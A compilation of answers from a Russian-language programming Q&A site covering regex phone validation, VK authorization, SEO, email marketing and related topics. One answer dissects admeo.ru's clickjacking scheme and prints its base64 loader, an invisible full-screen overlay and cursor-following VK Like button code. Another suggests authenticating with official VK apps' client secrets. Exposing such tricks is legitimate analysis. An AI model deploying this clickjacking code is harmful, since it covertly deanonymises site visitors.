• Какое регулярное выражение подойдет для проверки номера телефона?

    @kudry
    Тоже столкнулся с проблемой валидизации телефонных номеров.
    Телефоны берутся с участников вебинаров, на которые записываются люди из очень разных стран.
    Соответственно, со всеми предыдущими схемами возникают проблемы:
    1) а что если телефон с Украины (не +7-, а +38-)? А из Казахстана? А США (1-)? А Уганда ( +233-)? (из Уганды, правда, пока слушателей не было, но все впереди).
    2)В разных местностях приняты самые невообразимые способы разбиения телефона на группы цифр:
    8(8888)8-88-88-88 например. или 888(88)88888-888. Да и какие угодно могут возникнуть в будущем.
    Поэтому вариант с "дефолтным разбиением типа "8(888)888-88-88 ну совершенно не катит.

    Соответственно, я придумал следующий валидатор:
    1) В начале могут быть пробелы, после них может быть "+" (а может и не быть)
    2) Дальше должна идти группа цифр в количестве от 10 до 14 (мне нужны номера в международном формате; но если кому-то нужны более короткие - можно исправить диапазон длин).
    3) Поскольку я не знаю, как люди группируют цифры - до и после каждой цифры может быть один из 8 знаков ("-", " ", "_", "(", ")", ":", "=", "+"). Это значит, что между двумя цифрами могут быть любые два из этих знаков.

    В итоге получилось очень коротко и понятно )) :
    /^(\s*)?(\+)?([- _():=+]?\d[- _():=+]?){10,14}(\s*)?$/

    Съедает следующие телефоны:
    +7(903)888-88-88
    8(999)99-999-99
    +380(67)777-7-777
    001-541-754-3010
    +1-541-754-3010
    19-49-89-636-48018
    +233 205599853
    Ответ написан
    1 комментарий
  • Как разбить диск на разделы в windows server 2012 для работы с 1с?

    @FloorZ
    ПКМ по мой компьютер - управление - диски. Сжать раздел. Сжимаем на сколько есть свободного места или сколько не жалко. Потом жмем ПКМ по не размеченной области - создать раздел.

    В 2012 это Tools - manage
    27673bd491c7436bab8e5419ac1a8876.pngad3f29feb4f34a229acefd7127ae1b2b.png

    Как то так. Там уже управление дисками.
    Ответ написан
    2 комментария
  • Прямая авторизация приложения VK, как сделать?

    @kekenec
    Если вам не обязательно колдовать над парсерами и есть возможность не использовать собственное приложение (то, которые вы создавали в ВК), то есть вариант проще - использовать client_id и client_secret официальных приложений ВК для мобильных устройств. Все данные можно найти здесь. Далее отправляете GET запрос:
    https://oauth.vk.com/token?grant_type=password&client_id=*&client_secret=*&username=*&password=*&scope=*

    В ответе получите access_token, expires_in и user_id в формате JSON.
    Ответ написан
    1 комментарий
  • Как установить Apache Solr на Apache Tomcat?

    al_gon
    @al_gon
    Почему бы не запускать Solr как сервис в Windows Server 2012 через запускающий BAT файл.
    Никто не запрещает же как здесь https://stackoverflow.com/questions/37695425/windo... или внести в сервисный регистер. (https://nssm.cc/ )

    Если у вас нет запускающего скрипт под Windows можно посмотреть в сторону Solr Bitnami для начала.
    В итоге придется так или иначе изменять, подстраивать под свои нужды, но всё же.
    Ответ написан
    1 комментарий
  • С чего лучше начинать изучать технологию создания сайтов на c#: ASP.NET или ASP.NET MVC для дальнейшего трудоустройства?

    mindtester
    @mindtester Куратор тега C#
    http://iczin.su/hexagram_48
    "Я слышал, что ASP.NET умер в 2016 году" - я это слышу лет 10...

    для конкретного решения небольших задач, это отличный выбор по сей день. но надо просто разобраться в достоинствах и недостатках

    ASP.NET MVC - это скорее тренд, особенно для трудоустройства

    тем не менее, мой совет - если Вы разберетесь в нюансах сами, и будете уметь применять и то и другое, в зависимости от ситуации, и аргументировать выбор - именно тогда ваша стоимость на рынке труда будет выигрышной
    Ответ написан
    2 комментария
  • Как организовать мессенджер тех. поддержки через вконтакте?

    @tosha_lol_daaa
    Ответ написан
    Комментировать
  • Какой максимально эффективный способ защиты от скачивания изображений с сайта вы знаете?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    1. Самое простое - Watermark.
    2. Сложнее - частичная доставка с сервера выбранной области изображения с шифрованием и расшифровкой на клиенте, и никогда не отображать изображение целиком. (т.е. типа контейнера со скроллом внутри канваса по аналогии с гугл-мапс).
    3. Хардкорный стиль - Adobe Flash Application!
    4. "Puzzle" - "хаотичная" (только с виду!) динамическая нарезка в режиме спрайт-карты и сборка через js. Формула - тоже разная каждый раз.
    5. "Калька" - многослойное изображение из нескольких с альфа-каналом (с прозрачностью)
    6. Класть изображение в JS-контейнер на серверной стороне, помещая в него метод отображения с привязкой к IP и браузеру клиента, и ровно на 15 секунд (чтобы загрузил и всё) и бинарные шифрованные данные, после загрузки скрипта у клиента - запрашивать токен с сервера на расшифровку данных.
    (методы можно комбинировать)
    Ответ написан
    4 комментария
  • Какой максимально эффективный способ защиты от скачивания изображений с сайта вы знаете?

    Adamos
    @Adamos
    Максимально эффективный способ - это иметь на сайте изображения, которые никто не будет скачивать.
    Например, водяные знаки или надпись с названием сайта на каждом фото позволяют приблизиться к этому идеалу.
    Ответ написан
    8 комментариев
  • Как часто используются дескрипторы, декораторы и bind, call, apply?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Обо всем по порядку

    Дескрипторы - так понимаю речь идет о дескрипторах свойств объекта. Вещь крайне полезная, позволяющая задать поведение свойству, сделав его не перечисляемым или, например, только для чтения, а так же можно задать функции getter/setter, которые будут вызываться при чтении/записи свойства. Используется довольно часто.

    Декораторы функций. Позволяют избежать дублирования кода. Допустим, подключаете Вы некую библиотеку, в которой есть некоторая функция, Вам необходимая. Пусть она делает некое действие А, но Вам регулярно нужна последовательность действий А и Б. Тогда Вы пишите над этой функцией обертку, выполняющий эту последовательность, и уже вместо библиотечной функции + действие Б используете везде свою обертку. А вот если у Вас таких оберток с действием Б довольно много, то уже нужен декоратор, который позволит создавать такие обертки для любой функции. Используется как правило в крупных проектах, так как снижает вероятность ошибок.

    bind - по сути является декоратором встроенным в язык. Позволяет привязать к функции контекст и начальные аргументы. Используется постоянно, особенно в случае передачи функции во внешний код.

    call и apply позволяют вызвать функцию с нужным контекстом, разница в том что apply принимает 2 аргумента - контекст и массиво-подобный объект содержащий аргументы, а call принимает произвольное число аргументов: 1й - контекст, последующие передаются как аргументы функции. Используется постоянно.

    Карринг. Хоть и используется не так часто, но бывает весьма полезным инструментом. По сути цепочки промисов построены на принципах карринга, только не функций, а объектов.

    Ну и напоследок, конструкция var self = this; позволяющая сохранить контекст в замыкании уже потихоньку уходит в прошлое, благодаря стрелочным функциям из es2015
    Ответ написан
    1 комментарий
  • Как admeo.ru узнает номер телефона?

    fillosofik
    @fillosofik
    любитель интернета
    Ну вы даёте, прям расследование устроили)) Скажу по секрету как всё это происходит. Ни с каких социальных сетей никто номера ваши не берёт. У меня на одном из сайтов такое стоит, только по-другому называется, но принцип у всех этих обратных звонков один и тот же.

    Если человек сам в этой системе на любом другом сайте заказывал звонок, то его номер и имя записывается в базу, при посещении любого другого сайта где используется эта же кнопка обратной связи, система уже узнаёт клиента по имени и номеру и предлагает владельцу сайта совершить звонок и удивить посетителя. Вот и весь секрет.
    Ответ написан
    4 комментария
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Какой скрипт красиво расставляет фото в блоке?

    IonDen
    @IonDen
    JavaScript developer. IonDen.com
    Ответ написан
    Комментировать
  • Что конкретно нужно сделать, что бы обойти существующие в выдаче сайты?

    kopcap_va
    @kopcap_va
    SEO Consultant
    Ого какой тут в комментариях собрался клуб хейтеров SEO!

    Спешу вас разочаровать, но универсального рецепта не существует, т.к. сайт сайту рознь. Даже если вы создадите 5 сайтов в одной тематике с похожим контентом - ранжироваться все они будут по-разному.

    Хотите конкретную работающую схему без "воды" и прочего? Пожалуйста - "Развивайте сайт для пользователей" (с). Нужен мгновенный результат - есть сети контекстной рекламы.

    SEO - в первую очередь улучшение характеристик сайта и работа, основанная на анализе потребностей целевой аудитории с учетом существующих сайтов конкурентов. Это не какие-то там пляски с бубном, а вполне конкретный перечень действий, после осуществления которых стоит ожидать улучшения видимости сайта по релевантным ему группам запросов.

    И да, результат приходит не сразу, а постепенно - в зависимости от конкуренции в тематике. Т.е. компаниям-однодневкам невыгодно ждать органического трафика, развивая сайт белыми методами.

    В SEO на самом деле можно встретить толпы мошенников и низкоквалифицированных оптимизаторов, но это встречается практически во всех областях деятельности человека. Чтобы снизить риск, ищите специалистов по отзывам знакомых, заводите контакты и следуйте советам самих поисковых систем на этот счет, например: ссылка на совет Google.

    А вся вода из СЕО лезет только потому, что начинающих очень легко развести на бабло, тк они совершенно не понимают в раскрутке.

    Пока существуют люди, которые верят в сказки про "выведение в топ-3 за месяц" еще и без участия заказчика - их все также будут разводить на деньги. Я не устаю повторять, что позиция львиной доли заказчиков SEO услуг на постсоветском пространстве - это обогатиться без существенных вложений, типа "А закину-ка я 5к рублей сеошнику, чтобы через месяц мой сайт был в топе и приносил мне миллионы. А если не выведет - буду считать их всех разводилами."

    Многие подстраиваются и говорят заказчику именно то, что он хочет услышать, хоть это и не будет правдой.

    Хорошая услуга со всеми аудитами и исследованиями занимает довольно много времени, соответственно у опытного специалиста не может стоить дешево, только если он не альтруист. Обращаясь к новичкам, которые недорого льют воду стоит ожидать результатов, эквивалентных стоимости их услуг.
    Ответ написан
    14 комментариев
  • Нужно ли использовать unisender, mailchimp и так далее? Или хватит обычной почты?

    solomakin
    @solomakin
    Head of online marketing
    Цель любой рассылки - повышение лояльности, возвращение давно не покупавшего клиента, дополнительные предложения о скидках и возможностях купить у вас что-то.
    Если проще - вам нужно заработать, используя контакты, которые вам оставили по какой-то причине.
    Движение же человека в этом случае выглядит примерно так:
    Получил письмо -> открыл письмо -> кликнул по ссылке в письме -> прочитал информацию на сайте -> выполнил целевое действие (или оплатил, в зависимости от того, что вы хотите).
    Чтобы не делать лишней работы и не терять лояльных клиентов, вам нужно понимать, интересна ли им ваша рассылка и ваши предложения в принципе.
    Чтобы понимание строилось на статистике, вам нужно проводить анализ раскрываемости (open rate), кликабельности рассылки (click rate), конверсию писем в целевые действия.
    Если вы не будете считать эти показатели, возникает большой риск "сжечь базу" - потерять лояльность ваших подписчиков.
    Делая рассылку "на коленке", вы не получите данных ни по "open rate", ни по кликабельности, а будете просто пулять письма в вакуум.
    Рассылочные сервисы же предоставляют возможность отслеживать эти показатели и влиять на них таким образом, чтобы рассылки приносили доход.
    Поэтому я считаю, что использование рассылочных сервисов опционально для любого размера подписной базы.
    Если вы знаете статистику по своим действиям, вы можете влиять на каждый этап от открытия письма до покупки, тем самым увеличивая свои доходы.
    Мы использовали сервисы Mailchimp и GetResponse - рассылали купоны по внутренним акциям и информацию о мероприятиях, пользовались самыми дешевыми платными пакетами. При этом окупаемость e-mail маркетинга порядка 10000%, что является самым высоким показателем среди всех наших каналов привлечения трафика.
    Ответ написан
    5 комментариев
  • Какие есть альтернативы у Google Analytics для отслеживания посещаемости сайта/блога?

    solomakin
    @solomakin
    Head of online marketing
    Вижу, что все любят метрику =)
    Я использую для построения статистических отчетов Analytics, а для анализа скроллинга, карты кликов и просмотра посещений использую Метрику.
    Есть еще множество решений, например open-source piwik, вот пример реализации аналитики с его помощью.
    Событийную аналитику можно увидеть в carrotquest или hotjar , он, кстати, позволяет создавать опросы и получать обратную связь оперативно.
    Google tag manager также предоставляет большие возможности для встраивания событий и отслеживания поведения пользователей, но является более сложным для внедрения решением.
    И многие другие, в том числе плагины для CMS, но мы их не используем, т.к. решения не универсальные.
    Надеюсь, что помог Вам. Удачи в поисках подходящего решения!
    Ответ написан
    Комментировать
  • Клиент хочет увеличить охват рекламной кампании и снизить цену заявки, как это сделать?

    solomakin
    @solomakin
    Head of online marketing
    1. Охват:
    Используейте РСЯ и КМС Гугла, расширяйте кампании по регионам показа.
    В зависимости от продукта имеет смысл встраивать кнопки "поделиться" - если продукт интересный, пользователь поделится и увеличит охват аудитории.
    Работайте с трафиком в соцсетях.
    Соберите список тематических площадок, на которых можно разместить посты или платную рекламу, публикации, обзоры (для начала достаточно будет выписать 150 площадок и разместиться на 10-15 из них, сравнить бизнес-эффект, оставить наиболее эффективные и разместиться на 10-15 новых)
    2. Снизить цену заявки:
    Используйте Ретаргетинг и ремаркетинг. Стоимость привлечения клиента через эти каналы, как правило, ниже в 5-15 раз.
    Используйте e-mail рассылки для повышения лояльности через предоставление полезной информации, специальных предложений и пр.
    Проводите MVT-тестирование.
    Пишите заголовки на страницах по 4U. Тестируйте разные. Хороший заголовок уменьшает показатель отказов в 4-5 раз и увеличивает время на сайте в 2-3 раза.
    Делайте мультилендинги, в которых заголовок подстраивается под содержание рекламных объявлений.
    Делайте релевантную рекламу.
    Грамотно минусуйте фразы на уровне кампаний.
    Делайте кроссминусовку внутри рекламных кампаний и рекламных аккаунтов. Это позволяет снизить расходы на рекламу в 2-5 раз.
    Анализируйте конверсионные рекламные фразы и объяв... в Метрике или Аналитикс. Вычленяйте те фразы, конверсия с которых выше, расширяйте их и увеличивайте ставки.
    Продумайте с заказчиком УТП.
    Подключите автоброкер primecontext - это самый высокочастотный автоброкер (обновление ставок раз в 10 минут против 30 минут у всех остальных)

    В моих проектах все эти действия приводили к таким результатам:
    Стоимость конверсии за 2 месяца работы снижена с 9000 рублей до 2280 рублей.
    Количество конверсий увеличилось с 7 в неделю до 40 в неделю.
    ROI вырос со 140% до 6200% (B2B-сектор)
    Ответ написан
    Комментировать
  • Что для вас важнее CTR или цена заявки (лида)?

    solomakin
    @solomakin
    Head of online marketing
    Важнее всего показатель возврата инвестиций на маркетинг и рекламу - ROMI.
    Вы должны считать не CTR и цену заявки.
    Цель любой рекламы - увеличить прибыль.
    Нужно сводить в отчет данные по расходам рекламных кампаний и данные о продажах из систем учета и CRM.
    Нужно оценивать, какая реклама делает больше всего продаж, а какая оказывается убыточной.
    • Если у вас в одной рекламной кампании при 1000 кликов, расходе 4000 рублей, 10 заявок при CTR=15% CPL=400 рублей и одна продажа на 5000 рублей с прибылью 2000 рублей, то вы в минусе на 2000 рублей.
    • Если во второй рекламной кампании при 100 кликов, расходе 40000 рублей, 5 заявок при CTR=0,5% CPL=8000 рублей и две продажи на 150000 рублей с прибылью 60000 рублей, то вы в плюсе на 20000 рублей.

    Всегда смотрите на рекламу со стороны денег, которые она приносит. CTR и цена заявки к деньгам в кассе имеют очень отдаленное отношение.
    Ответ написан
    Комментировать
  • Как лучше для СЕО да и вообще для сайта, города на поддоменах или папки?

    solomakin
    @solomakin
    Head of online marketing
    Делать нужно на доменах 3го уровня, у примеру moscow.beeline.ru и т.д., т.к. когда будете указывать региональную принадлежность в панели вебмастера, Яндекс увидит каждый сайт по отдельности и привяжет к отдельному городу и будет видеть его более релевантным конкретному пользователю. Следовательно, продвигать множество сайтов гораздо эффективнее, чем один федеральный с папками для городов.
    Ответ написан
    Комментировать
  • Как осуществить не блокирующую загрузку стилей?

    @GreatRash
    <link rel="stylesheet" href="css.css" media="none" onload="if(media!='all')media='all'">
    <noscript><link rel="stylesheet" href="css.css"></noscript>

    UPD: фича в том, что браузер не блокирует рендер страницы если у стилей стоит media отличный от screen.
    Ответ написан
    2 комментария
  • Что входит в объем месячной работы SEO оптимизатора?

    kopcap_va
    @kopcap_va
    SEO Consultant
    Вопрос неоднозначный.
    1. Каждый специалист может иметь свое собственное представление о необходимых работах (в зависимости от опыта и знаний) и их стоимости.
    2. Это сильно зависит от продвигаемого сайта. Если у вас интернет-магазин, то могу сказать, что работы там обычно требуется много.

    В ходе продвижения работы могут быть совершенно разными - это и аналитика, и работы по технической оптимизации, и работа с семантическим ядром, и многие другие вещи.

    Если упростить, то:
    • Перед началом продвижения обычно проводится аудит сайта, чтобы выявить имеющиеся недостатки и подготовить рекомендации для разработчиков (что необходимо исправить).
    • Собирается семантическое ядро исходя из ассортимента товаров и спроса в конкретном регионе, на основе ядра могут вноситься изменения в структуру сайта.
    • Анализируются сайты основных конкурентов по подготовленному ядру (их методы продвижения и т.д.).
    • Проводится техническая оптимизация сайта и базовая оптимизация страниц сайта.
    • Настраиваются системы аналитики (цели в метрике и google analytics).
    • После этого идет постоянная работа по улучшению сайта - меняются тексты, прорабатываются карточки товаров, категории, внедряются разные полезные и удобные фишки.

    Полный список работ довольно большой, не вижу смысла превращать свой ответ в реферат, тем более работы могут потребоваться разные.

    Если прикидывать расходы, то по хорошему основная их часть - это трудозатраты специалиста. Да, есть до сих пор ребята, которые бюджет на продвижение считают исключительно стоимостью ссылок, но к таким обращаться не рекомендую.

    С исполнителем можете договориться на определенный фикс + дополнительный бюджет на тексты и ссылки (если потребуется).

    Обычно специалисты не слишком приветствуют желание заказчика без оплаты расписывать всё по пунктам, составлять стратегию и т.д, так как большинство заказчиков после этого или молчат, или долго думают, или просто идут туда, где дешевле.

    Если вы хотите серьезно подойти к решению вопроса - закажите предварительный анализ, в котором попросите расписать ориентировочные работы (после анализа сайта) и обговорите лимиты дополнительных затрат. Постарайтесь пообщаться с исполнителем, убедиться в его компетентности.

    Что требовать от сеошника
    Это могут быть отчеты о проделанной работе за конкретный период (чтобы в случае вопросов вы могли обратиться за независимой оценкой сторонних специалистов), или подумайте сами как вам удобнее отслеживать эффективность и уже в зависимости от этого обсуждайте форму отчетности.

    p.s. В первые месяцы (особенно если магазин молодой) ждать взрывного роста продаж не следует. SEO - долгосрочная инвестиция, а не как это себе представляют многие "Хочу в топ за 2 недели, заплатить 500, а получить прибыли на 10000 долларов".
    Ответ написан
    Комментировать